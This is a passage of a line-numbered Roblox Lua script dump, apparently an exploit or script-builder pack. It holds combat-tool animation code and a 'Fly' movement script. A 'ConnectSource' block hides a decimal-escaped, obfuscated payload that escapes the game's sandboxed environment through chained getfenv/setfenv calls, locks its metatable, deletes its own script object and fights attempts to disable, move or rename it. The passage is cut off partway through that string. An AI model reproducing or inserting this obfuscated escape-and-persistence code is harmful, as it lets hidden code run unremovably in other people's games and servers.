| 9513 | local ringw = Instance.new("Weld")
| |
| 9514 | ringw.Parent = ringp | |
| 9515 | ringw.Part0 = ringp | |
| 9516 | ringw.Part1 = wing1p | |
| 9517 | ringw.C1 = CFrame.fromEulerAnglesXYZ(ringi, 0, 0) * CFrame.new(0, ringp.Size.y/4 , 0) | |
| 9518 | ringw.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(45)) * CFrame.new(0, -1, 0) --* CFrame.new(-0.6, 0, 0) ---msh5.Scale.x/1.625 | |
| 9519 | coroutine.resume(coroutine.create(function() | |
| 9520 | for i = 0 , 1 , 0.025 do | |
| 9521 | wait() | |
| 9522 | ringp.Transparency = 1-1*i | |
| 9523 | end | |
| 9524 | ringp.Transparency = 0 | |
| 9525 | end)) | |
| 9526 | end end)) | |
| 9527 | coroutine.resume(coroutine.create(function() | |
| 9528 | for ringi = math.rad(-20) , math.rad(130) , math.rad(10) do | |
| 9529 | wait(0.1) | |
| 9530 | local ringm = Instance.new("BlockMesh")
| |
| 9531 | ringm.Scale = Vector3.new(1,1,1) | |
| 9532 | local ringp = Instance.new("Part")
| |
| 9533 | ringp.formFactor = 3 | |
| 9534 | ringp.CanCollide = false | |
| 9535 | ringp.Name = "FlameWing2_"..ringi | |
| 9536 | ringp.Locked = true | |
| 9537 | ringp.Size = Vector3.new(0.2,2,0.8) | |
| 9538 | ringp.Parent = modemodel | |
| 9539 | ringm.Parent = ringp | |
| 9540 | ringp.BrickColor = BrickColor.new("Bright red")
| |
| 9541 | ringp.Reflectance = 0.1 | |
| 9542 | ringp.Transparency = 1 | |
| 9543 | local ringw = Instance.new("Weld")
| |
| 9544 | ringw.Parent = ringp | |
| 9545 | ringw.Part0 = ringp | |
| 9546 | ringw.Part1 = wing2p | |
| 9547 | ringw.C1 = CFrame.fromEulerAnglesXYZ(ringi+math.rad(0), 0, 0) * CFrame.new(-0, ringp.Size.y/4 , 0) | |
| 9548 | ringw.C0 = CFrame.fromEulerAnglesXYZ(0, 0,math.rad(-45)) * CFrame.new(-0, -1, 0) | |
| 9549 | coroutine.resume(coroutine.create(function() | |
| 9550 | for i = 0 , 1 , 0.025 do | |
| 9551 | wait() | |
| 9552 | ringp.Transparency = 1-1*i | |
| 9553 | end | |
| 9554 | ringp.Transparency = 0 | |
| 9555 | end)) | |
| 9556 | end end)) | |
| 9557 | local wingp1m = Instance.new("SpecialMesh")
| |
| 9558 | wingp1m.Scale = Vector3.new(1,1,1) | |
| 9559 | wingp1m.MeshType = "Sphere" | |
| 9560 | local wingp1p = Instance.new("Part")
| |
| 9561 | wingp1p.formFactor = 3 | |
| 9562 | wingp1p.CanCollide = false | |
| 9563 | wingp1p.Name = "FlameOrb" | |
| 9564 | wingp1p.Locked = true | |
| 9565 | wingp1p.Size = Vector3.new(1,1,1) | |
| 9566 | wingp1p.Parent = modemodel | |
| 9567 | wingp1m.Parent = wingp1p | |
| 9568 | wingp1p.Reflectance = 0.2 | |
| 9569 | wingp1p.BrickColor = BrickColor.new("Bright red")
| |
| 9570 | local wingp1w = Instance.new("Weld")
| |
| 9571 | wingp1w.Parent = wingp1p | |
| 9572 | wingp1w.Part0 = wingp1p | |
| 9573 | wingp1w.Part1 = Torso | |
| 9574 | wingp1w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0 , 0) | |
| 9575 | wingp1w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(0)) * CFrame.new(0, -0.5, 0.5) | |
| 9576 | coroutine.resume(coroutine.create(function() | |
| 9577 | for i = 0 , 1 , 0.025 do | |
| 9578 | wait() | |
| 9579 | wingp1p.Transparency = 1-1*i | |
| 9580 | end | |
| 9581 | wingp1p.Transparency = 0 | |
| 9582 | end)) | |
| 9583 | local Firee = modemodel | |
| 9584 | local Spawn = wingp1p | |
| 9585 | local colors = {BrickColor.new("Bright red"),BrickColor.new("Bright yellow"),BrickColor.new("Bright orange")}
| |
| 9586 | local Embers = {}
| |
| 9587 | local modelz = Instance.new("Model",Firee)
| |
| 9588 | modelz.Name = "FireHolder" | |
| 9589 | for X = 1, 15 do | |
| 9590 | local f = Instance.new("Part")
| |
| 9591 | f.Parent = nil | |
| 9592 | f.BrickColor = colors[math.random(1, # colors)] | |
| 9593 | f.Size = Vector3.new(1,1,1) | |
| 9594 | f.formFactor = 3 | |
| 9595 | f.Anchored = true | |
| 9596 | f.Locked = true | |
| 9597 | f.CanCollide = false | |
| 9598 | f.Transparency = 0.5 | |
| 9599 | f.Name = "Fire" | |
| 9600 | f.TopSurface = 0 | |
| 9601 | f.BottomSurface = 0 | |
| 9602 | Instance.new("BlockMesh",f)
| |
| 9603 | table.insert(Embers, f) | |
| 9604 | end | |
| 9605 | local R = 0 | |
| 9606 | coroutine.resume(coroutine.create(function () | |
| 9607 | repeat | |
| 9608 | wait() | |
| 9609 | R = R + 1 | |
| 9610 | for X = 1, # Embers do | |
| 9611 | Embers[X].Parent = modelz | |
| 9612 | local FM = math.fmod(R + X, # Embers) | |
| 9613 | if FM == 1 then | |
| 9614 | RandPos = Vector3.new(math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10, Spawn.Size.y / 2, math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10) | |
| 9615 | RandDir = Vector3.new(math.random(-100,100), math.random(-100,100), math.random(-100,100)) | |
| 9616 | Embers[X].CFrame = CFrame.new(Spawn.Position + RandPos, (Spawn.Position * rndm) + RandPos + RandDir) | |
| 9617 | Embers[X].Mesh.Scale = Vector3.new(1,1,1) | |
| 9618 | else | |
| 9619 | Embers[X].CFrame = Embers[X].CFrame + Embers[X].CFrame.lookVector*0.5 | |
| 9620 | Embers[X].Mesh.Scale = Embers[X].Mesh.Scale - Vector3.new(0.1,0.1,0.1) | |
| 9621 | end | |
| 9622 | end | |
| 9623 | until wingp1p.Parent == nil | |
| 9624 | for i = 0 ,1 , 0.1 do | |
| 9625 | wait(0.2) | |
| 9626 | for X = 1, # Embers do | |
| 9627 | Embers[X].Transparency = 0.5+0.5*i | |
| 9628 | end | |
| 9629 | end | |
| 9630 | for X = 1, # Embers do | |
| 9631 | Embers[X].Parent = nil | |
| 9632 | end | |
| 9633 | end)) | |
| 9634 | for ii = 1 , #AoETrue do | |
| 9635 | table.remove(AoETrue,#AoETrue) | |
| 9636 | end | |
| 9637 | wait(0.25) | |
| 9638 | for i = 0 , 1 , 0.1 do | |
| 9639 | wait() | |
| 9640 | RW.C0 = CFrame.new(1.5,0.5+0.5*i,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+25*i), math.rad(0), math.rad(0)) | |
| 9641 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 9642 | LW.C0 = CFrame.new(0,0.5+0.5*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(0),math.rad(0),math.rad(65+25*i)) | |
| 9643 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
| 9644 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 9645 | end | |
| 9646 | for i = 0 , 1 , 0.1 do | |
| 9647 | wait() | |
| 9648 | RW.C0 = CFrame.new(1.5,1-0.5*i,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(115-35*i), math.rad(45*i), math.rad(-45*i)) | |
| 9649 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 9650 | LW.C0 = CFrame.new(-1*i,1-0.5*i,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80*i),math.rad(0),math.rad(90-45*i)) | |
| 9651 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
| 9652 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 9653 | end | |
| 9654 | RW.C0 = CFrame.new(1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(-45)) | |
| 9655 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 9656 | LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45)) | |
| 9657 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
| 9658 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 9659 | attack=false | |
| 9660 | wait(1.5) | |
| 9661 | mrdychng = false | |
| 9662 | end | |
| 9663 | function NeutralMode() | |
| 9664 | attack=true | |
| 9665 | Mode = "None" | |
| 9666 | fireboost = 0 | |
| 9667 | iceboost = 0 | |
| 9668 | darkboost = 0 | |
| 9669 | ss(Head,1) | |
| 9670 | cs(Head,2) | |
| 9671 | mrdychng = true | |
| 9672 | for i = 0 , 1 , 0.2 do | |
| 9673 | wait() | |
| 9674 | RW.C0 = CFrame.new(1+0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i), math.rad(45), math.rad(-45+45*i)) | |
| 9675 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100*i), math.rad(0), math.rad(0)) | |
| 9676 | LW.C0 = CFrame.new(-1-0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i),math.rad(-45),math.rad(45-45*i)) | |
| 9677 | LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100*i), math.rad(0), math.rad(0)) | |
| 9678 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
| 9679 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(70*i), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 9680 | end | |
| 9681 | coroutine.resume(coroutine.create(function() | |
| 9682 | for ii,z in pairs(modemodel:GetChildren()) do | |
| 9683 | if string.sub(z.Name,0,string.len(z.Name)-1) ~= "FlameWingP" then | |
| 9684 | wait() | |
| 9685 | coroutine.resume(coroutine.create(function() | |
| 9686 | for i = 0 , 1 , 0.1 do | |
| 9687 | wait() | |
| 9688 | z.Transparency = (1-z.Transparency)*i | |
| 9689 | end | |
| 9690 | z.Parent = nil | |
| 9691 | end)) | |
| 9692 | end | |
| 9693 | end | |
| 9694 | wait(0.5) | |
| 9695 | for ii,z in pairs(modemodel:GetChildren()) do | |
| 9696 | wait() | |
| 9697 | z.Parent = nil | |
| 9698 | end | |
| 9699 | end)) | |
| 9700 | for i = 0 , 1 , 0.1 do | |
| 9701 | wait() | |
| 9702 | RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(45), math.rad(0)) | |
| 9703 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100+20*i), math.rad(0), math.rad(0)) | |
| 9704 | LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(-45),math.rad(0)) | |
| 9705 | LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100+20*i), math.rad(0), math.rad(0)) | |
| 9706 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
| 9707 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(70+20*i), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 9708 | end | |
| 9709 | ||
| 9710 | wait(0.25) | |
| 9711 | for i = 0 , 1 , 0.1 do | |
| 9712 | wait() | |
| 9713 | RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i), math.rad(45), math.rad(-45*i)) | |
| 9714 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(120-120*i), math.rad(0), math.rad(0)) | |
| 9715 | LW.C0 = CFrame.new(-1.5+0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i),math.rad(-45),math.rad(45*i)) | |
| 9716 | LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(120-120*i), math.rad(0), math.rad(0)) | |
| 9717 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
| 9718 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90-90*i), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 9719 | end | |
| 9720 | RW.C0 = CFrame.new(1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(-45)) | |
| 9721 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 9722 | LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45)) | |
| 9723 | LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 9724 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
| 9725 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 9726 | attack=false | |
| 9727 | wait(0.5) | |
| 9728 | mrdychng = false | |
| 9729 | end | |
| 9730 | ||
| 9731 | function ob1d(mouse) | |
| 9732 | hold = true | |
| 9733 | if attack == true then return end | |
| 9734 | end | |
| 9735 | function ob1u(mouse) | |
| 9736 | end | |
| 9737 | buttonhold = false | |
| 9738 | function key(key) | |
| 9739 | if attack == true then return end | |
| 9740 | if key == "q" then | |
| 9741 | if attacktype == 1 then | |
| 9742 | Combo1a() | |
| 9743 | elseif attacktype == 2 then | |
| 9744 | Combo1b() | |
| 9745 | elseif attacktype == 3 then | |
| 9746 | Combo1c() | |
| 9747 | end | |
| 9748 | end | |
| 9749 | if key == "e" then | |
| 9750 | if attacktype == 1 then | |
| 9751 | BlizzardSword() | |
| 9752 | end | |
| 9753 | end | |
| 9754 | if key == "r" then | |
| 9755 | FlameTrail() | |
| 9756 | end | |
| 9757 | if key == "t" then | |
| 9758 | LifeDrain() | |
| 9759 | end | |
| 9760 | if Mode == "None" and not mrdychng then | |
| 9761 | if key == "z" then | |
| 9762 | FireMode() | |
| 9763 | end | |
| 9764 | elseif not mrdychng then | |
| 9765 | if key == "z" or key == "x" or key == "c" then | |
| 9766 | NeutralMode() | |
| 9767 | end | |
| 9768 | end | |
| 9769 | end | |
| 9770 | ||
| 9771 | function key2(key) | |
| 9772 | end | |
| 9773 | function s(mouse) | |
| 9774 | repeat wait() until not attack | |
| 9775 | while ev.Value ~= false do | |
| 9776 | wait(0.1) | |
| 9777 | end | |
| 9778 | MMouse = mouse | |
| 9779 | mouse.Button1Down:connect(function() ob1d(mouse) end) | |
| 9780 | mouse.Button1Up:connect(function() ob1u(mouse) end) | |
| 9781 | mouse.KeyDown:connect(key) | |
| 9782 | mouse.KeyUp:connect(key2) | |
| 9783 | equipanim() | |
| 9784 | ev.Value = true | |
| 9785 | end | |
| 9786 | function ds(mouse) | |
| 9787 | repeat wait() until not attack | |
| 9788 | while ev.Value == false do | |
| 9789 | wait(0.1) | |
| 9790 | end | |
| 9791 | ||
| 9792 | hideanim() | |
| 9793 | wait(0.1) | |
| 9794 | ev.Value = false | |
| 9795 | end | |
| 9796 | Bin.Selected:connect(s) | |
| 9797 | Bin.Deselected:connect(ds) | |
| 9798 | ]] | |
| 9799 | Fly = [[ | |
| 9800 | repeat | |
| 9801 | wait() | |
| 9802 | until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and
| |
| 9803 | game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
| |
| 9804 | local mouse = game.Players.LocalPlayer:GetMouse() | |
| 9805 | repeat | |
| 9806 | wait() | |
| 9807 | until mouse ~= nil | |
| 9808 | local plr = game.Players.LocalPlayer | |
| 9809 | local torso = plr.Character.Torso | |
| 9810 | local flying = false | |
| 9811 | local deb = true | |
| 9812 | local ctrl = {f = 0, b = 0, l = 0, r = 0}
| |
| 9813 | local lastctrl = {f = 0, b = 0, l = 0, r = 0}
| |
| 9814 | local maxspeed = 50 | |
| 9815 | local speed = 0 | |
| 9816 | function Fly() | |
| 9817 | local bg = Instance.new("BodyGyro", torso)
| |
| 9818 | bg.P = 9e4 | |
| 9819 | bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) | |
| 9820 | bg.cframe = torso.CFrame | |
| 9821 | local bv = Instance.new("BodyVelocity", torso)
| |
| 9822 | bv.velocity = Vector3.new(0,0,0) | |
| 9823 | bv.maxForce = Vector3.new(9e9, 9e9, 9e9) | |
| 9824 | repeat | |
| 9825 | wait() | |
| 9826 | plr.Character.Humanoid.PlatformStand = true | |
| 9827 | if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then | |
| 9828 | speed = speed+.5+(speed/maxspeed) | |
| 9829 | if speed > maxspeed then | |
| 9830 | speed = maxspeed | |
| 9831 | end | |
| 9832 | elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then | |
| 9833 | speed = speed-1 if speed < 0 then | |
| 9834 | speed = 0 | |
| 9835 | end | |
| 9836 | end | |
| 9837 | if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then | |
| 9838 | bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * | |
| 9839 | CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed | |
| 9840 | lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
| |
| 9841 | elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then | |
| 9842 | bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame | |
| 9843 | * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = | |
| 9844 | Vector3.new(0,0,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) | |
| 9845 | until not flying ctrl = {f = 0, b = 0, l = 0, r = 0}
| |
| 9846 | lastctrl = {f = 0, b = 0, l = 0, r = 0}
| |
| 9847 | speed = 0 | |
| 9848 | bg:Destroy() | |
| 9849 | bv:Destroy() plr.Character.Humanoid.PlatformStand = false | |
| 9850 | end | |
| 9851 | mouse.KeyDown:connect(function(key) if key:lower() == "e" then | |
| 9852 | if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then | |
| 9853 | ctrl.f = 1 | |
| 9854 | elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 | |
| 9855 | elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == | |
| 9856 | "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 | |
| 9857 | elseif key:lower() == "d" then ctrl.r = 0 end end) | |
| 9858 | ]] | |
| 9859 | ConnectSource = [[ | |
| 9860 | wait(0.001) | |
| 9861 | if script:findFirstChild'source' ~= nil then | |
| 9862 | print("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\